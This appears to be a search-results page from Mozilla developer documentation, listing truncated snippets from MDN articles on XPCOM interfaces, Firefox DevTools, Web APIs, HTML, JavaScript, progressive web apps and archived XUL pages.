...method overview void asyncwait(in nsiinputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult astatus); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the oninputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in the u...
...And 14 more matches
nsIAsyncOutputStream
the caller must then wait for the stream to become writable.
... if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes writable or closed (via the asyncwait() method).
...method overview void asyncwait(in nsioutputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult reason); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the onoutputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in t...
...And 14 more matches
nsIClipboardCommands
inherits from: nsisupports last changed in gecko 1.7 method overview boolean cancopyimagecontents(); boolean cancopyimagelocation(); boolean cancopylinklocation(); boolean cancopyselection(); boolean cancutselection(); boolean canpaste(); void copyimagecontents(); void copyimagelocation(); void copylinklocation(); void copyselection(); void cutselection(); void paste(); void selectall(); void selectnone(); methods cancopyimagecontents() returns whether we can cop...
...boolean cancopyimagecontents(); parameters none.
...cancopyimagelocation() returns whether we can copy an image location.
...And 14 more matches
nsICommandLine
toolkit/components/commandlines/public/nsicommandline.idlscriptable represents the command line used to invoke a xul application.
... this may be the original command line of this instance or a command line provided remotely by another instance of the application.
... method overview long findflag(in astring aflag, in boolean acasesensitive); astring getargument(in long aindex); boolean handleflag(in astring aflag, in boolean acasesensitive); astring handleflagwithparam(in astring aflag, in boolean acasesensitive); void removearguments(in long astart, in long aend); nsifile resolvefile(in astring aargument); nsiuri resolveuri(in astring aargument); attributes attribute type description length long numb...
...And 14 more matches
nsIObserverService
xpcom/ds/nsiobserverservice.idlscriptable this interface provides methods to add, remove, notify, and enumerate observers of various notifications.
... inherits from: nsisupports last changed in gecko 0.9.6 the xpcom nsobserverservice implements this interface to provide global notifications for a variety of subsystems.
... void addobserver( in nsiobserver anobserver, in string atopic, in boolean ownsweak); nsisimpleenumerator enumerateobservers( in string atopic ); void notifyobservers( in nsisupports asubject, in string atopic, in wstring somedata ); void removeobserver( in nsiobserver anobserver, in string atopic ); methods addobserver() registers a given listener for a notifications regarding the specified topic.
...And 14 more matches
nsISessionStore
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful.
... method overview void deletetabvalue(in nsidomnode atab, in astring akey); void deletewindowvalue(in nsidomwindow awindow, in astring akey); nsidomnode duplicatetab(in nsidomwindow awindow, in nsidomnode atab); nsidomnode forgetclosedtab(in nsidomwindow awindow, in unsigned long aindex); nsidomnode forgetclosedwindow(in unsigned long aindex); astring getbrowserstate(); unsigned long getclosedtabcount(in nsidomwindow awindow); astring getclosedtabdata(in nsidomwindow awindow); unsigned long getclosedwindowcount(); astring getclosedwindowdata(); astring gettabstate(in nsidomnode atab); astring gettabvalue(in nsidomnode a...
... setwindowstate(in nsidomwindow awindow, in astring astate, in boolean aoverwrite); void setwindowvalue(in nsidomwindow awindow, in astring akey, in astring astringvalue); nsidomnode undoclosetab(in nsidomwindow awindow, in unsigned long aindex); nsidomwindow undoclosewindow(in unsigned long aindex); attributes attribute type description canrestorelastsession boolean is it possible to restore the previous session.
...And 14 more matches
nsMsgMessageFlags
constants name value description read 0x00000001 indicates whether or not the message is read.
... replied 0x00000002 indicates whether or not the message has been replied to.
... marked 0x00000004 indicates whether or not the message has been flagged/starred expunged 0x00000008 indicates whether or not the message is deleted (but not compacted) hasre 0x00000010 indicates whether or not 're: ' should be added to the head of the subject to get the proper subject.
...And 14 more matches
Working with Multiple Versions of Interfaces
the problem in this short note we illustrate how one can update an xpcom module in order for it to work in both firefox 2 and firefox 3, even if the interfaces have changed in the interim.
... nscomptr<nsiaccessible> accnode; rv = refp->getaccessiblefor(node, getter_addrefs(accnode)); if(ns_failed(rv)){ return self; } void *wh = null; nscomptr<nsiaccessibledocument> accdocnode; accdocnode = do_queryinterface(accnode, &rv); if(ns_failed(rv)){ return self; } rv = accdocnode->getwindowhandle(&wh); if(ns_succeeded(rv)){ self = static_cast<hwnd>(wh); } return self; } this approach worked, as is, for versions as early as firefox 1.5.
...what happens is that the call to do_createinstance fails with nsresult ns_error_no_interface.
...And 14 more matches
Thunderbird Configuration Files
config editor many of the tips and tricks mentioned on this site can be applied by using the built-in config editor.
... all these files are plain text files you need to create in your profile folder and can be edited using a standard text editor, such as notepad on windows and gedit or kate on linux.
... locate your profile folder before the configuration files are presented, you should know how to find your profile folder, which is where thunderbird saves all your settings on your hard drive.
...And 14 more matches
Storage Inspector - Firefox Developer Tools
the storage inspector enables you to inspect various types of storage that a web page can use.
... currently it can be used to inspect the following storage types: cache storage — any dom caches created using the cache api.
...cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open.
...And 14 more matches
Style Editor - Firefox Developer Tools
you can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to the left of the sheet's name.
... you can save any changes you've made to the style sheet to your local computer by clicking the save button in the bottom-right corner of each sheet's entry in the list.
...once you're satisfied with your changes, you can save a copy locally by clicking the save button on the sheet's entry in the style sheet pane.
...And 14 more matches
about:debugging (before Firefox 68) - Firefox Developer Tools
the about:debugging page provides a single place from which you can attach the firefox developer tools to a number of debugging targets.
... this page enables you to do two things: load an add-on temporarily from disk connect the add-on debugger to any restartless add-ons connecting the add-on debugger the add-ons page in about:debugging lists all restartless add-ons that are currently installed (note that this list may include add-ons that came preinstalled with your firefox).
... see the page on the add-on debugger for all the things you can do with this tool.
...And 14 more matches
AudioBufferSourceNode - Web APIs
it's especially useful for playing back audio which has particularly stringent timing accuracy requirements, such as for sounds that must match a specific rhythm and can be kept in memory rather than being played from disk or the network.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline point...
...width="2px" /><text x="666" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audiobuffersourcenode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} an audiobuffersourcenode has no inputs and exactly one output, which has the same number of channels as the audiobuffer indicated by its buffer property.
...And 14 more matches
Constraint validation API - Web APIs
concepts and usage certain html form controls, such as <input>, <select> and <textarea>, can restrict the format of allowable values, using attributes like required and pattern to set basic constraints.
...this can be done using the constraint validation api.
...even though client-side validation can prevent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application.
...And 14 more matches
Document.requestStorageAccess() - Web APIs
examples: allow lists, block lists, on-device classification, user settings, anti-clickjacking heuristics, or prompting the user for explicit permission.
... grant the document access to cookies and other site storage and store that fact for the purposes of future calls to document.hasstorageaccess() and requeststorageaccess().
... assuming all of the requirements above are satisfied, firefox will automatically grant storage access to the requesting origin on up to a threshold number of first-party origins in the current session for the duration of user’s session, up to a maximum of 24 hours.
...And 14 more matches
FetchEvent.respondWith() - Web APIs
in most cases you can provide any response that the receiver understands.
...for security reasons, there are a few global rules: you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors".
... you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual".
...And 14 more matches
FileSystemDirectoryEntry.removeRecursively() - Web APIs
the filesystemdirectoryentry interface's method removerecursively() removes the directory as well as all of its content, hierarchically iterating over its entire subtree of descendant files and directories.
... to remove a single file, or an empty directory, you can also use filesystementry.remove().
... syntax filesystemdirectoryentry.removerecursively(successcallback[, errorcallback]); parameters successcallback a function to call once the directory removal process has completed.
...And 14 more matches
Using the Frame Timing API - Web APIs
an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event.
... this data can be used to help identify areas that take too long to provide a good user experience.
... frame observers the performance observer interfaces allow an application to register an observer for specific performance event types.
...And 14 more matches
IDBCursor - Web APIs
WebAPIIDBCursor
the cursor has a source that indicates which index or object store it is iterating over.
...the cursor enables an application to asynchronously process all the records in the cursor's range.
... you can have an unlimited number of cursors at the same time.
...And 14 more matches
MediaRecorder - Web APIs
mediarecorder.ignoremutedmedia indicates whether the mediarecorder instance will record input when the input mediastreamtrack is muted.
... mediarecorder.requestdata() requests a blob containing the saved data received thus far (or since the last time requestdata() was called.
... after calling this method, recording continues, but in a new blob.
...And 14 more matches
MediaTrackConstraints - Web APIs
the mediatrackconstraints dictionary is used to describe a set of capabilities and the value or values each can take on.
... a constraints dictionary is passed into applyconstraints() to allow a script to establish a set of exact (required) values or ranges and/or preferred values or ranges of values for the track, and the most recently-requested set of custom constraints can be retrieved by calling getconstraints().
... for each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible.
...And 14 more matches
Payment Request API - Web APIs
payment request concepts and usage many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require multiple steps to complete.
... advantages of using the payment request api with "basic-card" (card-based payments): fast purchase experience: users enter their details once into the browser and are then ready to pay for goods and services on the web.
... consistent experience on every site (that supports the api): as the payment sheet is controlled by the browser, it can tailor the experience to the user.
...And 14 more matches
PointerEvent - Web APIs
the pointer can target a specific coordinate (or set of coordinates) on the contact surface such as a screen.
...typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media.
... pointerevent.pointerid read only a unique identifier for the pointer causing the event.
...And 14 more matches
PublicKeyCredentialCreationOptions.extensions - Web APIs
extensions are values requesting additional processing by the client and by the authenticator.
... for instance, extensions may be used for: backward compatibility with the legacy fido js api, knowing the user verification process, etc.
...also chrome doesn't plan to support any other extension in future extension identifier type description authnsel array of buffersource authenticator selection.
...And 14 more matches
RTCPeerConnection() - Web APIs
the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.
... rtcconfiguration dictionary bundlepolicy optional specifies how to handle negotiation of candidates when the remote peer is not compatible with the sdp bundle standard.
... certificates optional an array of objects of type rtccertificate which are used by the connection for authentication.
...And 14 more matches
ReadableStream.ReadableStream() - Web APIs
underlyingsource can contain the following: start(controller) this is a method, called immediately when the object is constructed.
...if this process is to be done asynchronously, it can return a promise to signal success or failure.
...this can be used by the developer to control the stream during set up.
...And 14 more matches
ServiceWorkerGlobalScope - Web APIs
once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power.
... an active service worker is automatically restarted to respond to events, such as serviceworkerglobalscope.onfetch or serviceworkerglobalscope.onmessage.
... additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used.
...And 14 more matches
Storage API - Web APIs
the storage api gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things.
... site storage—the data stored for a web site which is managed by the storage standard—includes: indexeddb databases cache api data service worker registrations web storage api data managed using window.localstorage history state information saved using history.pushstate() application caches notification data other kinds of site-accessible, site-specific data that may be maintained site storage units the site storage system described by the storage standard and interacted with using the storage api consists of a single site storage unit for each origin.
... in essence, every web site or web application has its own storage unit into which its data gets placed.
...And 14 more matches
Storage Access API - Web APIs
as an example, federated logins often require access to authentication cookies stored in first-party storage, and will require the user to sign in on each site separately (or completely break) if those cookies are not available.
... in the case of breakage, site owners have often encouraged users to add their site as an exception or to disable the policy entirely.
... the storage access api is intended to solve this problem; embedded cross-origin content can request unrestricted access to its first-party storage on a site-by-site basis via the document.requeststorageaccess() method, and check whether it already has access via the document.hasstorageaccess() method.
...And 14 more matches
TextMetrics - Web APIs
the textmetrics interface represents the dimensions of a piece of text in the canvas; a textmetrics() instance can be retrieved using the canvasrenderingcontext2d.measuretext() method.
... properties textmetrics.width read only is a double giving the calculated width of a segment of inline text in css pixels.
... textmetrics.actualboundingboxleft read only is a double giving the distance from the alignment point given by the canvasrenderingcontext2d.textalign property to the left side of the bounding rectangle of the given text, in css pixels.
...And 14 more matches
User Timing API - Web APIs
the user timing interface allows the developer to create application specific timestamps that are part of the browser's performance timeline.
... mark events are named by the application and can be set at any location in an application.
... measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks.
...And 14 more matches
Web Animations API Concepts - Web APIs
this article will introduce you to the important concepts behind the waapi, providing you with a theoretical understanding of how it works so you can use it effectively.
...this means we can use it to create and manipulate css-like animations that go from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs.
... history over a decade ago, synchronized multimedia integration language, or smil (pronounced "smile"), brought animation to svg.
...And 14 more matches
Using IIR filters - Web APIs
the iirfilternode interface of the web audio api is an audionode processor that implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control devices and graphic equalizers, and the filter response parameters can be specified, so that it can be tuned as needed.
...it also provides a canvas on which is drawn the frequency response of the audio, so you can see what effect the iir filter has.
... you can check out the full demo here on codepen.
...And 14 more matches
Window.requestAnimationFrame() - Web APIs
the window.requestanimationframe() method tells the browser that you wish to perform an animation and requests that the browser calls a specified function to update an animation before the next repaint.
... the method takes a callback as an argument to be invoked before the repaint.
... note: your callback routine must itself call requestanimationframe() if you want to animate another frame at the next repaint.
...And 14 more matches
Rich-Text Editing in Mozilla - Developer guides
once designmode has been set to "on", the document becomes a rich-text editing area and the user can type into it as if it were a textarea.
...when using contenteditable, calling execcommand will affect the currently active editable element.
...the stylewithcss command can be used to toggle between css and html markup creation.
...And 14 more matches
Writing forward-compatible websites - Developer guides
this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke.
... what this means is that any time you access a global variable in an event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it.
... if that happens, then suddenly your function stops being called.
...And 14 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
WebHTMLElementdfn
the html definition element (<dfn>) is used to indicate the term being defined within the context of a definition phrase or sentence.
... content categories flow content, phrasing content, palpable content.
... links to <dfn> elements if you include an id attribute on the <dfn> element, you can then link to it using <a> elements.
...And 14 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
note: radio buttons are similar to checkboxes, but with an important distinction — radio buttons are grouped into a set in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off.
... if the value attribute was omitted, the default value for the checkbox is on, so the submitted data in that case would be subscribe=on.
... additional attributes in addition to the common attributes shared by all <input> elements, "checkbox" inputs support the following attributes: attribute description checked boolean; if present, the checkbox is toggled on by default indeterminate a boolean which, if present, indicates that the value of the checkbox is indeterminate rather than true or false value the string to use as the value of the checkbox when submitting the form, if the checkbox is currently toggled on checked a boolean attribute indicating whether or not this checkbox is checked by default (when the page loads).
...And 14 more matches
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
only one radio button in a given group can be selected at the same time.
... radio buttons are typically rendered as small circles, which are filled or highlighted when selected.
... they are called radio buttons because they look and operate in a similar manner to the push buttons on old-fashioned radios, such as the one shown below.
...And 14 more matches
Array.prototype.filter() - JavaScript
syntax let newarray = arr.filter(callback(element[, index, [array]])[, thisarg]) parameters callback function is a predicate, to test each element of the array.
... arrayoptional the array filter was called upon.
... thisargoptional value to use as this when executing callback.
...And 14 more matches
Map - JavaScript
in the current ecmascript specification, -0 and +0 are considered equal, although this was not so in earlier drafts.
...for this reason (and because there were no built-in alternatives), objects have been used as maps historically.
... however, there are important differences that make map preferable in certain cases: map object accidental keys a map does not contain any keys by default.
...And 14 more matches
WeakRef - JavaScript
description a weakref object contains a weak reference to an object, which is called its target or referent.
...if that happens, you can't get the object from a weak reference anymore.
...correct use of weakref takes careful thought, and it's best avoided if possible.
...And 14 more matches
Expressions and operators - JavaScript
expressions and operators by category for an alphabetical listing see the sidebar on the left.
... super the super keyword calls the parent constructor.
... ...obj spread syntax allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.
...And 14 more matches
var - JavaScript
it can be any legal identifier.
...it can be any legal expression.
...this is called hoisting, and is discussed further below.
...And 14 more matches
Transitioning to strict mode - JavaScript
gradual transition strict mode has been designed so that the transition to it can be made gradually.
... differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in prevision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the c...
... declaring two function parameters with the same name function f(a, b, b) {} these errors are good, because they reveal plain errors or bad practices.
...And 14 more matches
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
rum and synthetic monitoring provide for different views of performance and have benefits, good use cases and shortfalls.
... synthetic monitoring synthetic monitoring involves monitoring the performance of a page in a 'laboratory' environment, typically with automation tooling in a consistent as possible environment.
... synthetic monitoring involves deploying scripts to simulate the path an end user might take through a web application, reporting back the performance the simulator experiences.
...And 14 more matches
How to make PWAs installable - Progressive web apps (PWAs)
previous overview: progressive next in the last article, we read about how the example application, js13kpwa, works offline thanks to its service worker, but we can go even further and allow users to install the web app on mobile and desktop browers that support doing so.
... the installed web app can then be launched by users just as if it were any native app.
...your web app can sit next to native applications as first class citizens.
...And 14 more matches
Progressive loading - Progressive web apps (PWAs)
previous overview: progressive web apps in previous articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push.
...a bundle.js file can be many megabytes, and a single style.css bundle can contain everything from basic css structure definitions to all the possible styles of every version of the site: mobile, tablet, desktop, print only, etc.
... render-blocking resources bundling is a problem, because the browser has to load the html, css, and javascript before it can paint their rendered results onto the screen.
...And 14 more matches
Graphic design for responsive sites - Progressive web apps (PWAs)
in 1996, many people involved in building the web would have laughed at you if you had told them that less than 20 years in the future we would be developing web sites that worked well on mobile phones, tablets, tvs, even cars and home lighting.
...this article provides a high level discussion aimed at helping you to choose the best option for your graphical needs.
... serving images selectively via css in general, you will use mostly the same graphical assets for different layouts in a responsive design, but you may well include slightly different ones dependant on context.
...And 14 more matches
lang/type - Archive of obsolete content
returns boolean : boolean indicating if value is undefined.
... returns boolean : boolean indicating if value is null.
... returns boolean : boolean indicating if value is a string.
...And 13 more matches
Creating Event Targets - Archive of obsolete content
for example, you can listen to the tabs module's ready event or the panel object's show event.
...if you use the sdk's event framework for your event targets, users of your module can listen for events using the sdk's standard event api.
... create a new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults.
...And 13 more matches
Getting started (cfx) - Archive of obsolete content
cfx has been deprecated and you should use jpm instead.
...the directory doesn't have to be under the sdk root: you can create it anywhere you like.
...have fun!" implementing the add-on now you can write the add-on's code, which goes in the "main.js" file in your "lib" directory.
...And 13 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
there are a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object.
... web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.example.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d40770b326a13" onclick="return install(event);">install extension...
...the href attribute contains a direct link to the extension xpi file, this is what will show in the location bar when the link is moused over.
...And 13 more matches
Underscores in class and ID Names - Archive of obsolete content
summary: the use of the underscore character in css can lead to major display problems in multiple browsers.
...this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.
...for example, a function whose job is to "get the length of a string" might be called get_string_length, and a variable representing the number of people who voted republican might be voted_republican.
...And 13 more matches
Getting Started - Archive of obsolete content
you can use the same version as the one you use to browse the web, but if you mess it up, it is possible that you will be unable to access your browser without uninstalling and reinstalling mozilla.
...you can open them up in your zip program the same way you open up zip files.
...now all of the css and images are extracted, but if you make some changes and run mozilla as it is, you will not see them because it's still set to look at the files in the jar files.
...And 13 more matches
Nanojit - Archive of obsolete content
you can get nanojit by cloning the tamarin-redux mercurial repository at http://hg.mozilla.org/tamarin-redux.
...a compiler's lir is typically one of several partly-compiled representations of a program that a compiler produces on the way from raw source code to machine code.
... an application using nanojit creates a nanojit::lirbuffer object to hold lir instructions.
...And 13 more matches
Space Manager High Level Design - Archive of obsolete content
when elements are floated to the left or right in a layout, they take up space and influence where other elements can be placed.
...additionally, there is a need to manage impacts to lines caused by changes to floated elements.
...if so, the vertical space that has been affected (including both the float's old region and the float's new region) is noted in the internal nsintervalset as potential float damage (the method is includeindamage).
...And 13 more matches
Running Tamarin performance tests - Archive of obsolete content
the tamarin performance tests can be used to measure performance changes made to tamarin.
...for example you may download or build the latest checked in avmshell to compare against a local change.
...if more than 2 repetitions are specified the 95% percentile confidence rating is calculated.
...And 13 more matches
When To Use ifdefs - Archive of obsolete content
there are three major kinds of ifdefs in use in the mozilla tree: platform/widget ifdefs, feature ifdefs, and application-specific ifdefs: platform/widget ifdefs the mozilla code will frequently need to differentiate between code for different platforms or widget sets.
...the only time when they might be a problem is in cross-platform extension code and locales: since this code is downloaded on multiple platforms, platform-specific ifdefs are generally out of the question.
... feature ifdefs the mozilla code has many features that can be enabled or disabled by configure flags.
...And 13 more matches
Filtering - Archive of obsolete content
this can be done by modifying the dom nodes inside the query and rebuilding the template.
... function applyfilter(country) { var cond = document.getelementbyid("cond"); var triple = document.getelementbyid("filtertriple"); if (country) { if (!triple) { triple = document.createelement("triple"); triple.id = "filtertriple"; triple.setattribute("subject", "?photo"); triple.setattribute("predicate", "http://www.xulplanet.com/rdf/country"); } triple.setattribute("object", country); cond.appendchild(triple); } else if (triple) { cond.removechild(triple); } document.getelementbyid("photoslist").builder.rebuild(); } the 'country' argument to the applyfilter function holds the value to filter by.
...for example, the resulting triple for the netherlands might be: <triple subject="?photo" predicate="http://www.xulplanet.com/rdf/country" object="http://www.daml.org/2001/09/countries/iso#nl"/> this triple is then appended to the query.
...And 13 more matches
Adding Buttons - Archive of obsolete content
in this section, we will add two buttons, a find button and a cancel button.
... like html, xul has a number of tags that can be used to create user interface elements.
...thus, a button can have a label only, an image only or both a label and an image.
...And 13 more matches
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
however, you can still use columns to specify the size and appearance of the columns in a grid.
... alternatively, you can put content inside the columns, and use the rows to specify the appearance.
... we'll look at the case of organizing elements by row first.
...And 13 more matches
More Button Features - Archive of obsolete content
adding an image you can add an image to a button by specifying a url in the image attribute.
... the image is loaded from the url, which can be a relative or absolute url, and then the image is displayed on the button.
...you can change this position by using two other attributes.
...And 13 more matches
XUL Template Primer - Bindings - Archive of obsolete content
if a <binding> can't be matched, the rule will still fire.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="friends.rdf" ref="urn:root"> <template> <rule> <conditions> <content uri="?uri"/> <triple subject="?uri" predicate="http://home.netscape.com/nc-rdf#friends" object="?friends"/> <member container="?friends" child="?friend"/> <triple subject="?friend" predicate="http://home.netscape.com/nc-rdf#name" ...
... object="?name"/> </conditions> <bindings> <binding subject="?friend" predicate="http://home.netscape.com/nc-rdf#address" object="?addr"/> <binding subject="?addr" predicate="http://home.netscape.com/nc-rdf#street" object="?street"/> </bindings> <action> <hbox uri="?friend"> <label value="?name"/> <label value="?street"/> </hbox> </action> </rule> </template> </vbox> </window> the xul template primer covers the <conditions> and <action> elements, so we won't discuss those here.
...And 13 more matches
description - Archive of obsolete content
the text can be set either with the value attribute or by placing text inside the open and close description tags.
...it may contain arbitrary markup, which can be styled as needed.
...</description> this is a long section of text that will not word wrap <description value="this is a long section of text that will not word wrap"> </description> this is a long section of dynamically controlled text that will word wrap <description id="desc" style="width: 300px"></description> document.getelementbyid('desc').textcontent = "this is a long section of dynamic message text that will word wrap"; attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specifi...
...And 13 more matches
listbox - Archive of obsolete content
additional rows can be viewed using a scroll bar.
... < gems.length; i++) { var row = document.createelement('listitem'); var cell = document.createelement('listcell'); cell.setattribute('label', gems[i].gem); row.appendchild(cell); cell = document.createelement('listcell'); cell.setattribute('label', gems[i].price ); row.appendchild(cell); thelist.appendchild(row); } attributes disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 13 more matches
richlistbox - Archive of obsolete content
et, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> the richlistbox element contains multiple richlistitem elements, which can contain any content.
... you can click on any richlistitem element and use the keyboard to move the selection around.
... attributes disabled type: boolean indicates whether the element is disabled or not.
...And 13 more matches
XULRunner 2.0 Release Notes - Archive of obsolete content
xulrunner 2.0 is a stable release of the mozilla xulrunner application framework.
... it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...current version the current version of xulrunner 2.0 is 2.0, matching firefox 4.0 detailed release notes can be found here.
...And 13 more matches
Building XULRunner with Python - Archive of obsolete content
xpcom components can also be created in python.
... development machine setup first a word of warning that zonealarm has exhibited memory leaks that cause build machines to crash with rather spurious errors.
...you will also want to disable any virus scanner resident monitoring as that will slow builds.
...And 13 more matches
Windows and menus in XULRunner - Archive of obsolete content
« previousnext » our quest to build a basic desktop application using xulrunner continues.
... last time i installed xulrunner and built a very simple, bare-bones test application.
... this time i want to add some of the things common to a desktop application user interface: windows and dialogs menus and toolbars os common dialogs controls or widgets windows each window or dialog should be created in its own xul file.
...And 13 more matches
Monitoring plugins - Archive of obsolete content
summary a new component of the plugin system is now available to measure how long it takes plugins (e.g., adobe flash) to execute their calls.
... this component then reports the plugin runtime using the observer service to anyone registered to receive the notifications.
... this article discusses how developers can make use of this new feature.
...And 13 more matches
GLSL Shaders - Game development
it can get very complicated — very quickly.
... vertex shaders vertex shaders manipulate coordinates in a 3d space and are called once per vertex.
... fragment shaders fragment (or texture) shaders define rgba (red, blue, green, alpha) colors for each pixel being processed — a single fragment shader is called once per pixel.
...And 13 more matches
Square tilemaps implementation: Scrolling maps - Game development
this article covers how to implement scrolling square tilemaps using the canvas api.
... note: when writing this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
... the camera the camera is an object that holds information about which section of the game world or level is currently being shown.
...And 13 more matches
Player paddle and controls - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson07.html.
... loading the paddle first, add the paddle variable we will be using in our game, right after the ball variable: var paddle; then, in the preload function, load the paddle image by adding the following new load.image() call: function preload() { // ...
... rendering the paddle, with physics next up, we will init our paddle by adding the following add.sprite() call inside the create() function — add it right at the bottom: paddle = game.add.sprite(game.world.width*0.5, game.world.height-5, 'paddle'); we can use the world.width and world.height values to position the paddle exactly where we want it: game.world.width*0.5 will be right in the middle of the screen.
...And 13 more matches
Solve common problems in your JavaScript code - Learn web development
common beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc.
... some common built-in browser functions that cause problems are: correct wrong getelementsbytagname() getelementbytagname() getelementsbyname() getelementbyname() getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly.
... for example: correct wrong elem.style.color = 'red'; elem.style.color = 'red;' functions there are a number of things that can go wrong with functions.
...And 13 more matches
Ember app structure and componentization - Learn web development
the landing page html of our application is defined in app/templates/application.hbs.
...--}} {{outlet}} <welcomepage /> is a component provided by an ember addon that renders the default welcome page we saw in the previous article, when we first navigated to our server at localhost:4200.
...to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out.
...And 13 more matches
Accessibility information for UI designers and developers
your content can then be better consumed by users with low vision and people with color deficiencies.
...calculating this ratio is easiest done with a tool, for example lea verou's contrast ratio.
... for example, in this chart, it helps to add labels besides the colored chart lines:people who cannot see the difference between the colors, can use the labels instead.
...And 13 more matches
How Mozilla determines MIME Types
however, starting in mozilla 1.7alpha, mozilla does do content sniffing, like this: when the content-type sent by the server is one of (case-sensitively) text/plain text/plain; charset=iso-8859-1 text/plain; charset=iso-8859-1 and the server did not send a content-encoding header, mozilla will sniff the first block of data it gets and check for non-text bytes.
... unknown decoder located at netwerk/streamconv/converters/nsunknowndecoder.cpp, the interesting part starts at line 287, the ssnifferentries array together with the determinecontenttype function.
... it does the following: checks the start of the file for "magic numbers"; this can currently detect pdf and postscript.
...And 13 more matches
How to get a stacktrace with WinDbg
